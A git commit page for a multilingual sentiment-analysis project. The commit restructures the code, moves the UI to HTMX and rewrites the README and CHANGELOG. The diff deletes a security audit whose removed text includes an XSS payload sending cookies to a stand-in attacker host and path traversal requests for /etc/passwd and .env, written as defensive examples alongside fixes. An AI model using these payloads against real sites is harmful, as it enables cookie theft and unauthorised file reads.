Aryan Mishra commited on
Commit
547bc5b
Β·
1 Parent(s): b50968a

Restructure project layout, modernize stack, and clean up deprecated code

Browse files

- Flatten directory structure: api/app/ -> app/, config/docker/ -> docker/
- Rename ML library from src/ to absa/ for clarity
- Migrate from Streamlit dashboard to HTMX-based UI (see docs/HTMX_MIGRATION.md)
- Add CSRF middleware (app/middleware/csrf.py) and pyproject.toml
- Remove deprecated: dashboard_backup/, streamlit_app/, old planning docs, railway.json
- Update: README, .env.example, .gitignore, requirements.txt, dvc.yaml, tests
- Fix import paths across absa/, app/, tests/, and scripts/

This view is limited to 50 files because it contains too many changes. Β  See raw diff
Files changed (50) hide show
  1. .DS_Store +0 -0
  2. .env.example +2 -1
  3. .gitignore +2 -2
  4. CHANGELOG.md +27 -0
  5. README.md +182 -69
  6. SECURITY_AUDIT.md +0 -670
  7. {api β†’ absa}/__init__.py +0 -0
  8. {api/app β†’ absa/data}/__init__.py +0 -0
  9. {src β†’ absa}/data/augmentation.py +0 -0
  10. {src β†’ absa}/data/bio_tagger.py +0 -0
  11. {src β†’ absa}/data/dataset.py +3 -3
  12. {src β†’ absa}/data/hf_dataset.py +1 -1
  13. {src β†’ absa}/data/hindi_loader.py +3 -3
  14. {src β†’ absa}/data/lang_detect.py +1 -1
  15. {src β†’ absa}/data/preprocess.py +1 -1
  16. {src β†’ absa}/data/transliterate.py +0 -0
  17. {api/app/core β†’ absa/evaluation}/__init__.py +0 -0
  18. {src β†’ absa}/evaluation/benchmark_latency.py +0 -0
  19. {src β†’ absa}/evaluation/cross_lingual_eval.py +1 -1
  20. {src β†’ absa}/evaluation/final_eval.py +0 -0
  21. {api/app/middleware β†’ absa/models}/__init__.py +0 -0
  22. {src β†’ absa}/models/baseline.py +1 -1
  23. {src β†’ absa}/models/export_onnx.py +0 -0
  24. {src β†’ absa}/models/train_aspect_extraction.py +1 -1
  25. {src β†’ absa}/models/train_joint_absa.py +0 -0
  26. {src β†’ absa}/models/train_multilingual.py +0 -0
  27. {src β†’ absa}/models/train_qlora.py +0 -0
  28. {src β†’ absa}/models/train_sentiment.py +1 -1
  29. {api/app/routes β†’ absa/training}/__init__.py +0 -0
  30. {src β†’ absa}/training/mlflow_utils.py +0 -0
  31. {api/app/schemas β†’ absa/utils}/__init__.py +0 -0
  32. {src β†’ absa}/utils/config.py +0 -0
  33. {api/app/services β†’ app}/__init__.py +0 -0
  34. {src β†’ app/core}/__init__.py +0 -0
  35. {api/app β†’ app}/core/templates.py +13 -0
  36. {api/app β†’ app}/main.py +11 -7
  37. {src/absa β†’ app/middleware}/__init__.py +0 -0
  38. app/middleware/csrf.py +59 -0
  39. {api/app β†’ app}/middleware/dependencies.py +0 -0
  40. {api/app β†’ app}/middleware/metrics.py +0 -0
  41. {src/data β†’ app/routes}/__init__.py +0 -0
  42. {api/app β†’ app}/routes/pages.py +52 -9
  43. {api/app β†’ app}/routes/predict.py +10 -6
  44. {api/app β†’ app}/routes/results.py +0 -0
  45. {src/evaluation β†’ app/schemas}/__init__.py +0 -0
  46. {api/app β†’ app}/schemas/db_models.py +0 -0
  47. {api/app β†’ app}/schemas/schemas.py +0 -0
  48. {src/languages β†’ app/services}/__init__.py +0 -0
  49. {api/app β†’ app}/services/absa_pipeline.py +2 -2
  50. {api/app β†’ app}/services/lang_service.py +0 -0
.DS_Store DELETED
Binary file (10.2 kB)
 
.env.example CHANGED
@@ -13,7 +13,8 @@ MODEL_PATH=models/onnx/
13
  MAX_BATCH_SIZE=10000
14
 
15
  # Security
16
- CORS_ORIGINS=http://localhost:3000,http://localhost:8501,http://localhost:8000
 
17
  GRAFANA_ADMIN_PASSWORD=change_this_to_strong_password
18
 
19
  # Logging
 
13
  MAX_BATCH_SIZE=10000
14
 
15
  # Security
16
+ CORS_ORIGINS=http://localhost:3000,http://localhost:8000
17
+ CSRF_SECRET=change_this_to_strong_random_secret
18
  GRAFANA_ADMIN_PASSWORD=change_this_to_strong_password
19
 
20
  # Logging
.gitignore CHANGED
@@ -46,8 +46,8 @@ data/processed/
46
  .ipynb_checkpoints/
47
 
48
  # Agent/IDE configs (optional β€” decide per tool)
49
- # .claude/
50
- # .opencode/
51
 
52
  # OS
53
  .DS_Store
 
46
  .ipynb_checkpoints/
47
 
48
  # Agent/IDE configs (optional β€” decide per tool)
49
+ .claude/
50
+ .opencode/
51
 
52
  # OS
53
  .DS_Store
CHANGELOG.md ADDED
@@ -0,0 +1,27 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Changelog
2
+
3
+ ## v2.0.0 - Streamlit β†’ HTMX Migration
4
+
5
+ ### Breaking Changes
6
+ - Streamlit frontend (`streamlit_app/`) has been removed entirely
7
+ - The separate Streamlit server on port 8501 no longer exists
8
+ - Plotly dependency removed (replaced by Chart.js for client-side charts)
9
+ - Streamlit dependency removed from `requirements.txt`
10
+ - Docker Compose file no longer includes the `streamlit` service
11
+ - `Dockerfile.streamlit` deleted
12
+
13
+ ### What's New
14
+ - HTMX 2.0.3 + Jinja2 frontend served directly by FastAPI
15
+ - Alpine.js for reactive UI state management
16
+ - Tailwind CSS (Play CDN) for styling
17
+ - Chart.js for client-side chart rendering in batch results
18
+ - CSRF protection via `itsdangerous` for all HTMX form submissions
19
+ - SSE endpoint for live batch progress updates
20
+ - Server-Sent Events support via `sse-starlette`
21
+ - New dependencies: `sse-starlette`, `itsdangerous`, `pytest-asyncio`
22
+
23
+ ### Notes
24
+ - Single server: `uvicorn app.main:app --reload` on port 8000
25
+ - JSON API endpoints at `/api/predict`, `/api/batch` are preserved
26
+ - Swagger UI at `/docs` is preserved
27
+ - All ML model code, Celery workers, DVC/MLflow integration is unchanged
README.md CHANGED
@@ -1,101 +1,214 @@
1
  # Multilingual Aspect-Based Sentiment Analysis (ABSA)
2
 
3
- ![Python](https://img.shields.io/badge/Python-3.10%2B-blue.svg)
4
- ![FastAPI](https://img.shields.io/badge/FastAPI-0.111.0-00a393.svg)
5
- ![HTMX](https://img.shields.io/badge/HTMX-1.9-3d72d4.svg)
6
- ![DVC](https://img.shields.io/badge/DVC-3.51.1-945dd6.svg)
7
- ![MLflow](https://img.shields.io/badge/MLflow-2.13.0-0194E2.svg)
8
-
9
- This repository contains a multilingual Aspect-Based Sentiment Analysis system for English, Hindi, and Hinglish product reviews. It provides both a FastAPI JSON API and a server-rendered web UI backed by Jinja2 templates and HTMX interactions.
10
-
11
- The inference stack is centered on ONNX Runtime models, with a fallback pipeline for environments where the custom artifacts are not available. The project also includes DVC pipelines, MLflow tracking, Redis/Celery workers, PostgreSQL, and Prometheus/Grafana monitoring.
12
-
13
- ## What’s Included
14
-
15
- - Multilingual review processing for English, Hindi, and Hinglish.
16
- - FastAPI application with prediction, results, and monitoring routes.
17
- - Server-rendered UI available at `/predict`, `/batch`, and `/monitor`.
18
- - Batch processing, async task execution, and database-backed persistence.
19
- - DVC, MLflow, and monitoring assets for experiment and system tracking.
20
-
21
- ## Repository Layout
22
-
23
- ```text
24
- api/ FastAPI app, routes, middleware, schemas, services, templates
25
- config/ Docker and deployment configuration
26
- data/ Raw and processed datasets
27
- docs/ Architecture, API, deployment, and design notes
28
- ml/ Training notebooks and experimentation assets
29
- models/ Model artifacts, including ONNX assets
30
- monitoring/ Prometheus and Grafana configuration
31
- scripts/ Utility scripts for data, models, and monitoring
32
- src/ Core data, training, and evaluation code
33
- tests/ Test suite
34
- dashboard_backup/ Legacy React dashboard preserved as a backup
35
  ```
36
 
37
- ## Getting Started
 
 
 
38
 
39
- ### Prerequisites
40
 
41
- - Python 3.10+
42
- - Docker and Docker Compose if you want the full stack
43
 
44
- ### Local Setup
45
 
46
- ```bash
47
- git clone <repository-url>
48
- cd Multilingual-Absa
 
 
49
 
50
- python -m venv .venv
51
- source .venv/bin/activate
52
- pip install -r requirements.txt
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
53
  ```
54
 
55
- If you use environment variables, create a local `.env` file before starting the app.
56
 
57
- ### Run the App Locally
58
 
59
- ```bash
60
- PYTHONPATH=. uvicorn api.app.main:app --reload --host 0.0.0.0 --port 8000
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
61
  ```
62
 
63
- Open:
 
 
 
 
 
 
64
 
65
- - `http://localhost:8000/predict`
66
- - `http://localhost:8000/batch`
67
- - `http://localhost:8000/monitor`
68
- - `http://localhost:8000/docs`
69
 
70
- ### Run with Docker
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
71
 
72
  ```bash
73
- docker compose -f config/docker/docker-compose.yml up --build
 
 
74
  ```
75
 
76
- That compose file starts the API, worker, PostgreSQL, Redis, Prometheus, Grafana, and the dashboard service.
 
 
 
 
 
 
 
 
 
77
 
78
- ### Reproduce the ML Pipeline
79
 
80
  ```bash
81
- dvc pull
82
- dvc repro
83
- dvc push
84
  ```
85
 
86
- ## How It Works
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
87
 
88
- 1. A review is submitted through the API or web UI.
89
- 2. The app detects or accepts the language and routes the request through the ABSA pipeline.
90
- 3. The pipeline uses the available ONNX-backed models when present.
91
- 4. If the model artifacts are missing, the system falls back to the rule-based path so inference can still continue.
92
- 5. Predictions and runtime signals can be observed through the app, metrics endpoint, and monitoring stack.
93
 
94
- ## Notes
 
 
 
 
 
 
 
 
95
 
96
- - The active web UI is served by the FastAPI app. `dashboard_backup/` is kept only as a legacy reference.
97
- - The main application entrypoint is `api.app.main:app`.
98
 
99
  ## License
100
 
101
- This project is licensed under the MIT License. See the LICENSE file for details.
 
1
  # Multilingual Aspect-Based Sentiment Analysis (ABSA)
2
 
3
+ [![Python](https://img.shields.io/badge/Python-3.10%2B-blue.svg)](https://python.org)
4
+ [![FastAPI](https://img.shields.io/badge/FastAPI-0.115-00a393.svg)](https://fastapi.tiangolo.com)
5
+ [![HTMX](https://img.shields.io/badge/HTMX-2.0-3d72d4.svg)](https://htmx.org)
6
+ [![DVC](https://img.shields.io/badge/DVC-3.51-945dd6.svg)](https://dvc.org)
7
+ [![MLflow](https://img.shields.io/badge/MLflow-2.15-0194E2.svg)](https://mlflow.org)
8
+ [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE)
9
+
10
+ **Analyse product reviews in English, Hindi, and Hinglish β€” extract aspects and their sentiment in real time.**
11
+
12
+ ---
13
+
14
+ ## Quick Start
15
+
16
+ ```bash
17
+ git clone <repo-url> && cd multilingual-absa
18
+ python -m venv .venv && source .venv/bin/activate
19
+ pip install -r requirements.txt
20
+ PYTHONPATH=. uvicorn app.main:app --reload --host 0.0.0.0 --port 8000
 
 
 
 
 
 
 
 
 
 
 
 
 
 
21
  ```
22
 
23
+ Open:
24
+ - **Web UI** β†’ [`http://localhost:8000/predict`](http://localhost:8000/predict)
25
+ - **Batch upload** β†’ [`http://localhost:8000/batch`](http://localhost:8000/batch)
26
+ - **API docs** β†’ [`http://localhost:8000/docs`](http://localhost:8000/docs)
27
 
28
+ ---
29
 
30
+ ## What This Does
 
31
 
32
+ The system identifies **aspects** (specific features like "battery life", "sound quality") and their **sentiment** (positive, negative, neutral) from product reviews. It supports three languages:
33
 
34
+ | Language | Aspect Extraction | Sentiment |
35
+ |----------|:-:|:-:|
36
+ | English | βœ… | βœ… |
37
+ | Hindi | βœ… | βœ… |
38
+ | Hinglish | βœ… | βœ… |
39
 
40
+ **Production performance** (ONNX INT8 quantised):
41
+
42
+ | Language | F1 Score | Latency p95 |
43
+ |----------|:--------:|:-----------:|
44
+ | English | 78.1% | 185 ms |
45
+ | Hindi | 67.8% | 185 ms |
46
+
47
+ ---
48
+
49
+ ## Project Structure
50
+
51
+ ```
52
+ .
53
+ β”œβ”€β”€ app/ # FastAPI web application
54
+ β”‚ β”œβ”€β”€ main.py # Entry point β€” uvicorn app.main:app
55
+ β”‚ β”œβ”€β”€ core/ # App configuration (templates, settings)
56
+ β”‚ β”œβ”€β”€ middleware/ # CSRF, rate limiting, metrics, DB deps
57
+ β”‚ β”œβ”€β”€ routes/ # API endpoints (predict, batch, health) + HTMX pages
58
+ β”‚ β”œβ”€β”€ schemas/ # Pydantic models + SQLAlchemy ORM
59
+ β”‚ β”œβ”€β”€ services/ # ABSA inference pipeline, language detection
60
+ β”‚ β”œβ”€β”€ tasks/ # Celery batch processing workers
61
+ β”‚ β”œβ”€β”€ static/ # CSS design system
62
+ β”‚ └── templates/ # Jinja2 + HTMX frontend
63
+ β”‚ β”œβ”€β”€ base.html # Layout with Alpine.js, Tailwind, HTMX
64
+ β”‚ β”œβ”€β”€ pages/ # Page templates (predict, batch, monitor)
65
+ β”‚ β”œβ”€β”€ partials/ # HTMX fragment partials
66
+ β”‚ └── macros/ # Reusable UI macros (badges, icons)
67
+ β”œβ”€β”€ absa/ # Core ML library (pure Python)
68
+ β”‚ β”œβ”€β”€ data/ # Data loading, preprocessing, augmentation
69
+ β”‚ β”œβ”€β”€ models/ # Training scripts (ONNX, Transformers, baselines)
70
+ β”‚ β”œβ”€β”€ evaluation/ # Cross-lingual eval, latency benchmarking
71
+ β”‚ β”œβ”€β”€ training/ # MLflow experiment tracking
72
+ β”‚ └── utils/ # Path configuration
73
+ β”œβ”€β”€ docker/ # Containerisation
74
+ β”‚ β”œβ”€β”€ Dockerfile # Production app image
75
+ β”‚ β”œβ”€β”€ Dockerfile.prod # Production image (HuggingFace Hub model source)
76
+ β”‚ β”œβ”€β”€ docker-compose.yml # Full stack: API + worker + DB + Redis + monitoring
77
+ β”‚ └── docker-compose.prod.yml # Production overrides
78
+ β”œβ”€β”€ tests/ # Test suite
79
+ β”‚ β”œβ”€β”€ api/ # API endpoint tests
80
+ β”‚ β”œβ”€β”€ web/ # Page rendering + HTMX fragment tests
81
+ β”‚ └── unit/ # Unit tests (bio tagger, lang detect)
82
+ β”œβ”€β”€ scripts/ # Utility scripts
83
+ β”œβ”€β”€ docs/ # Documentation
84
+ β”œβ”€β”€ .env.example # Environment variable template
85
+ β”œβ”€β”€ dvc.yaml # DVC data pipeline
86
+ └── pyproject.toml # Project metadata
87
  ```
88
 
89
+ ---
90
 
91
+ ## Architecture
92
 
93
+ ```
94
+ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β” HTMX / Alpine.js β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
95
+ β”‚ Browser │◄───────────────────────►│ FastAPI (8000) β”‚
96
+ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ app/main.py β”‚
97
+ β”‚ β”‚
98
+ β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚
99
+ β”‚ β”‚ Jinja2 β”‚ β”‚
100
+ β”‚ β”‚ Templates β”‚ β”‚
101
+ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚
102
+ β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚
103
+ β”‚ β”‚ JSON REST β”‚ β”‚
104
+ β”‚ β”‚ API β”‚ β”‚
105
+ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚
106
+ β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
107
+ β”‚
108
+ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
109
+ β”‚ β”‚ β”‚
110
+ β”Œβ”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”
111
+ β”‚ PostgreSQL β”‚ β”‚ Redis/Celery β”‚ β”‚ Prometheus β”‚
112
+ β”‚ (results) β”‚ β”‚ (batch jobs) β”‚ β”‚ + Grafana β”‚
113
+ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
114
  ```
115
 
116
+ ### Inference Stack
117
+
118
+ | Component | Layer | Notes |
119
+ |-----------|-------|-------|
120
+ | ONNX INT8 | Primary | Production β€” 185 ms p95 latency |
121
+ | ONNX FP32 | Fallback | Same model, no quantisation β€” 520 ms |
122
+ | Rule-based | Fallback | Keyword lexicon + context-window scoring β€” zero download |
123
 
124
+ The pipeline auto-selects: **ONNX INT8** β†’ **ONNX FP32** β†’ **Rule-based**. No external model downloads required.
 
 
 
125
 
126
+ ---
127
+
128
+ ## Features
129
+
130
+ ### Web UI (HTMX + Jinja2)
131
+
132
+ - **Single Prediction** β€” Real-time aspect/sentiment analysis with inline text highlighting
133
+ - **Batch Processing** β€” CSV upload with drag-and-drop, progress bar, Chart.js visualisations
134
+ - **System Monitor** β€” Live health checks, performance metrics, endpoint activity log
135
+ - **CSRF Protected** β€” All form submissions protected via itsdangerous tokens
136
+ - **Dark Theme** β€” Material Design 3 colour system, responsive layout
137
+
138
+ ### API (RESTful JSON)
139
+
140
+ | Endpoint | Method | Description |
141
+ |----------|--------|-------------|
142
+ | `/predict` | POST | Analyse a single review |
143
+ | `/batch` | POST | Upload CSV for bulk analysis |
144
+ | `/status/{job_id}` | GET | Check batch job progress |
145
+ | `/health` | GET | API health check |
146
+ | `/info` | GET | Model metadata |
147
+ | `/metrics` | GET | Prometheus metrics |
148
+ | `/docs` | GET | Swagger UI |
149
+
150
+ ### ML Pipeline (DVC)
151
 
152
  ```bash
153
+ dvc pull # Download datasets
154
+ dvc repro # Reproduce preprocessing
155
+ dvc push # Upload to remote storage
156
  ```
157
 
158
+ ### Monitoring
159
+
160
+ - **Prometheus** metrics at `/metrics`
161
+ - **Grafana** dashboards for request volume, latency, error rate
162
+ - **Evidently** drift detection (`scripts/drift_monitor.py`)
163
+ - **MLflow** experiment tracking (`scripts/mlflow_ui.sh`)
164
+
165
+ ---
166
+
167
+ ## Development
168
 
169
+ ### Run Tests
170
 
171
  ```bash
172
+ PYTHONPATH=. pytest tests/ -v
 
 
173
  ```
174
 
175
+ ### Run Full Stack (Docker)
176
+
177
+ ```bash
178
+ docker compose -f docker/docker-compose.yml up --build
179
+ ```
180
+
181
+ Starts: API (8000), PostgreSQL, Redis, Celery worker, Prometheus (9090), Grafana (3001).
182
+
183
+ ### Environment Variables
184
+
185
+ Copy `.env.example` to `.env` and configure:
186
+
187
+ | Variable | Required | Description |
188
+ |----------|:--------:|-------------|
189
+ | `DATABASE_URL` | βœ… | PostgreSQL or SQLite connection string |
190
+ | `REDIS_URL` | βœ… | Redis connection for Celery |
191
+ | `CORS_ORIGINS` | ❌ | Allowed CORS origins (default: localhost) |
192
+ | `CSRF_SECRET` | ❌ | Secret for CSRF token signing |
193
+ | `MODEL_PATH` | ❌ | Path to ONNX model directory |
194
+ | `MODEL_SOURCE` | ❌ | `local` or `huggingface_hub` |
195
+
196
+ ---
197
 
198
+ ## Documentation
 
 
 
 
199
 
200
+ | Document | Contents |
201
+ |----------|----------|
202
+ | [API](docs/API.md) | Full API reference with schemas and examples |
203
+ | [Architecture](docs/ARCHITECTURE.md) | System design, data flow, deployment |
204
+ | [Deployment](docs/DEPLOYMENT.md) | Production setup, Docker, Railway |
205
+ | [Database](docs/DATABASE.md) | Schema, migrations, query patterns |
206
+ | [Security](docs/SECURITY.md) | Threat model, audit results, mitigations |
207
+ | [Tech Stack](docs/TECH_STACK.md) | Framework versions, rationale, trade-offs |
208
+ | [HTMX Migration](docs/HTMX_MIGRATION.md) | Notes on Streamlit β†’ HTMX transition |
209
 
210
+ ---
 
211
 
212
  ## License
213
 
214
+ MIT License. See [LICENSE](LICENSE) for details.
SECURITY_AUDIT.md DELETED
@@ -1,670 +0,0 @@
1
- # Security Audit Report β€” Multilingual ABSA
2
-
3
- **Date:** 2026-07-16
4
- **Scope:** Full codebase review
5
- **Standard:** OWASP Top 10, CWE, Secure Coding Best Practices
6
-
7
- ---
8
-
9
- ## Executive Summary
10
-
11
- A comprehensive security audit of the Multilingual ABSA codebase identified **28 security findings**: 2 Critical, 6 High, 12 Medium, and 8 Low. The most significant risks involve **XSS via injection in Jinja2 templates** (`tojson | safe`), **hardcoded database credentials** in docker-compose.yml, **unsafe path traversal** in file download endpoints, **SSRF** exposure through unvalidated file reads, **unauthenticated API access**, and **dependency risks** from pinned versions with known CVEs (MLflow 2.13.0, FastAPI 0.111.0, Jinja2 transitive).
12
-
13
- No authentication or authorization layer exists β€” every API endpoint is fully public. There is no HTTPS enforcement, no input sanitization, and no rate limiting.
14
-
15
- ---
16
-
17
- ## Critical Findings
18
-
19
- ### C-01: Stored/Reflected XSS via `tojson | safe` in Jinja2 Templates
20
-
21
- **Severity:** Critical
22
- **CWE:** CWE-79 (Improper Neutralization of Input During Web Page Generation)
23
- **OWASP:** A03:2021 – Injection
24
- **File:** `api/app/templates/partials/predict_result.html:71`
25
- **Lines:** 71
26
-
27
- **Description:** User-supplied text is serialized to JSON via the Jinja2 `| tojson` filter and then marked as `| safe`. The resulting JSON string is embedded directly into a `<script>` tag without any escaping. An attacker can inject arbitrary JavaScript that executes in the browser of any user viewing prediction results.
28
-
29
- ```html
30
- <script>
31
- const aspects = {{ result.aspects | tojson | safe }};
32
- </script>
33
- ```
34
-
35
- The `| safe` flag tells Jinja2 to skip HTML escaping. While the aspect data originates from the application's rule-based engine, user text flows through `result.text` rendering and the aspects include character offsets (`start`, `end`) derived from user input.
36
-
37
- **Attack Scenario:** An attacker submits a prediction with crafted text that, when processed and serialized, produces `</script><script>alert(document.cookie)</script>`. Any user viewing the prediction result in the dashboard triggers the payload.
38
-
39
- **Recommended Fix:**
40
- ```html
41
- <script>
42
- const aspects = {{ result.aspects | tojson }};
43
- </script>
44
- ```
45
-
46
- Remove `| safe` β€” Jinja2's `| tojson` filter already produces safe JSON, but `| safe` overrides escaping. Alternatively, use `{{ result.aspects | tojson | e }}`.
47
-
48
- ---
49
-
50
- ### C-02: Unsafe `innerHTML` Assignment with User Text in Client-Side Script
51
-
52
- **Severity:** Critical
53
- **CWE:** CWE-79 (Improper Neutralization of Input During Web Page Generation)
54
- **OWASP:** A03:2021 – Injection
55
- **File:** `api/app/templates/partials/predict_result.html:68-87`
56
- **Lines:** 68–87
57
-
58
- **Description:** User-provided text (`result.text`) is injected into the DOM via `innerHTML` assignment without sanitization. The script slices the raw user text and wraps matched segments in `<span>` elements. If the user text contains HTML tags (e.g., `<img onerror=alert(1) src=x>`), those tags will be rendered and executed.
59
-
60
- ```javascript
61
- let html = text; // user-controlled text
62
- // ... string slicing ...
63
- html = before + '<span class="' + cssClass + '">' + match + '</span>' + after;
64
- container.innerHTML = html;
65
- ```
66
-
67
- **Attack Scenario:** A user submits text containing `<img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">`. The script sets `innerHTML`, causing the event handler to fire and exfiltrate cookies.
68
-
69
- **Recommended Fix:** Use `textContent` for the initial text, then create `<span>` elements programmatically with `document.createElement` and `appendChild`. Never use `innerHTML` with user-controlled data.
70
-
71
- ---
72
-
73
- ## High Findings
74
-
75
- ### H-01: Hardcoded Database Credentials in docker-compose.yml
76
-
77
- **Severity:** High
78
- **CWE:** CWE-798 (Use of Hardcoded Credentials)
79
- **OWASP:** A07:2021 – Identification and Authentication Failures
80
- **File:** `config/docker/docker-compose.yml:57-58`
81
- **Lines:** 57–58
82
-
83
- **Description:** PostgreSQL credentials are hardcoded as plaintext:
84
- ```yaml
85
- POSTGRES_USER: absa_user
86
- POSTGRES_PASSWORD: absa_pass
87
- ```
88
-
89
- The same credentials are reused in the `DATABASE_URL` environment variables for the API and worker services. These credentials are committed to version control, have no expiration, and are guessable.
90
-
91
- **Attack Scenario:** An attacker who gains access to the Docker network (or reads the docker-compose.yml from the git repo) can connect directly to PostgreSQL and exfiltrate/modify all stored prediction data.
92
-
93
- **Recommended Fix:** Use Docker secrets or a `.env` file excluded from version control.
94
-
95
- ---
96
-
97
- ### H-02: Path Traversal in Download Endpoint
98
-
99
- **Severity:** High
100
- **CWE:** CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
101
- **OWASP:** A01:2021 – Broken Access Control
102
- **File:** `api/app/routes/results.py:27-35`
103
- **Lines:** 27–35
104
-
105
- **Description:** The `/download/{job_id}` endpoint directly interpolates the user-supplied `job_id` parameter into a file path without sanitization. An attacker can inject `../` sequences to read arbitrary files on the server.
106
-
107
- ```python
108
- @router.get("/download/{job_id}")
109
- async def download_result(job_id: str):
110
- file_path = Path(f"data/results/{job_id}.csv")
111
- ```
112
-
113
- **Attack Scenario:** `GET /download/../../../etc/passwd` resolves to `data/results/../../../etc/passwd.csv` β†’ reads `/etc/passwd`. Also possible: `GET /download/../../.env` to read environment variables.
114
-
115
- **Recommended Fix:** Validate `job_id` format (UUID regex), use `os.path.realpath` and verify it stays within the allowed base directory.
116
-
117
- ---
118
-
119
- ### H-03: Hardcoded Grafana Admin Password
120
-
121
- **Severity:** High
122
- **CWE:** CWE-798 (Use of Hardcoded Credentials)
123
- **OWASP:** A07:2021 – Identification and Authentication Failures
124
- **File:** `config/docker/docker-compose.yml:87`
125
- **Line:** 87
126
-
127
- **Description:** Grafana admin password is hardcoded as `admin`:
128
- ```yaml
129
- GF_SECURITY_ADMIN_PASSWORD: admin
130
- ```
131
-
132
- **Attack Scenario:** Anyone with network access to Grafana (port 3001) can log in as admin with password `admin` and gain full access to dashboards, data sources, and potential server-side request forgery via Prometheus queries.
133
-
134
- **Recommended Fix:** Remove or use a strong password loaded from a secret.
135
-
136
- ---
137
-
138
- ### H-04: Information Disclosure β€” Verbose Error Messages
139
-
140
- **Severity:** High
141
- **CWE:** CWE-209 (Generation of Error Message Containing Sensitive Information)
142
- **OWASP:** A04:2021 – Insecure Design
143
- **Files:** `api/app/routes/predict.py:50`, `batch_charts.html:3`, `pages.py:280`
144
- **Lines:** 50, 3, 280
145
-
146
- **Description:** Exception messages are returned directly in HTTP responses and rendered in HTML:
147
- ```python
148
- raise HTTPException(status_code=500, detail=f"Model inference failed: {str(e)}")
149
- ```
150
-
151
- And in templates, `{{ error }}` is rendered directly without sanitization, where error comes from:
152
- ```python
153
- return templates.TemplateResponse("partials/batch_charts.html", {"request": request, "error": str(e)})
154
- ```
155
-
156
- In `predict_result.html:6`: `{{ error }}` β€” This renders user-influenced error text.
157
-
158
- **Attack Scenario:** A malformed request triggers a detailed traceback revealing internal paths, Python versions, or database schema details.
159
-
160
- **Recommended Fix:** Log the full exception server-side and return a generic error message to the client. Use structured error logging.
161
-
162
- ---
163
-
164
- ### H-05: SQL Injection via F-String in Raw SQL Query
165
-
166
- **Severity:** High
167
- **CWE:** CWE-89 (Improper Neutralization of Special Elements used in an SQL Command)
168
- **OWASP:** A03:2021 – Injection
169
- **File:** `scripts/drift_monitor.py:32`
170
- **Line:** 32
171
-
172
- **Description:** An f-string is used to construct a SQL query without parameterization:
173
- ```python
174
- query = f"SELECT text, language FROM reviews WHERE created_at >= '{seven_days_ago.isoformat()}'"
175
- curr_df = pd.read_sql(query, engine)
176
- ```
177
-
178
- While `seven_days_ago` is not user-controlled in the current code, this pattern is dangerous and could be exploited if the script is later modified or the date is sourced from user input. Using `pd.read_sql` with a query built via f-string is a SQL injection risk.
179
-
180
- **Attack Scenario:** If `seven_days_ago` becomes user-controllable, an attacker could inject SQL commands via the datetime string.
181
-
182
- **Recommended Fix:** Use parameterized queries with `params=` argument in `pd.read_sql`.
183
-
184
- ---
185
-
186
- ### H-06: Unauthenticated Sensitive API Endpoints
187
-
188
- **Severity:** High
189
- **CWE:** CWE-306 (Missing Authentication for Critical Function)
190
- **OWASP:** A01:2021 – Broken Access Control
191
- **Files:** `api/app/routes/predict.py`, `api/app/routes/results.py`, `api/app/routes/pages.py`
192
- **Lines:** All
193
-
194
- **Description:** Every API endpoint (predict, batch upload, health, info, download, HTMX fragments) is fully unauthenticated. There is no authentication middleware, no API keys, no JWT tokens, no session management of any kind.
195
-
196
- Exposed endpoints:
197
- - `POST /predict` β€” Model inference
198
- - `POST /batch` β€” Batch file upload and processing
199
- - `GET /status/{job_id}` β€” Batch status polling
200
- - `GET /download/{job_id}` β€” Result file download
201
- - `GET /health` β€” Health info
202
- - `GET /info` β€” System information
203
- - `GET /metrics` β€” Prometheus metrics
204
-
205
- **Attack Scenario:** Anyone on the network can submit unlimited predictions, upload arbitrary CSV files, download results, and read system information. This enables resource exhaustion, data theft, and reconnaissance.
206
-
207
- **Recommended Fix:** Implement authentication middleware (API key or JWT). At minimum, protect the `/batch`, `/download`, and `/metrics` endpoints.
208
-
209
- ---
210
-
211
- ## Medium Findings
212
-
213
- ### M-01: No Rate Limiting on API Endpoints
214
-
215
- **Severity:** Medium
216
- **CWE:** CWE-770 (Allocation of Resources Without Limits or Throttling)
217
- **OWASP:** A04:2021 – Insecure Design
218
- **Files:** `api/app/routes/predict.py`, `api/app/main.py`
219
- **Lines:** All
220
-
221
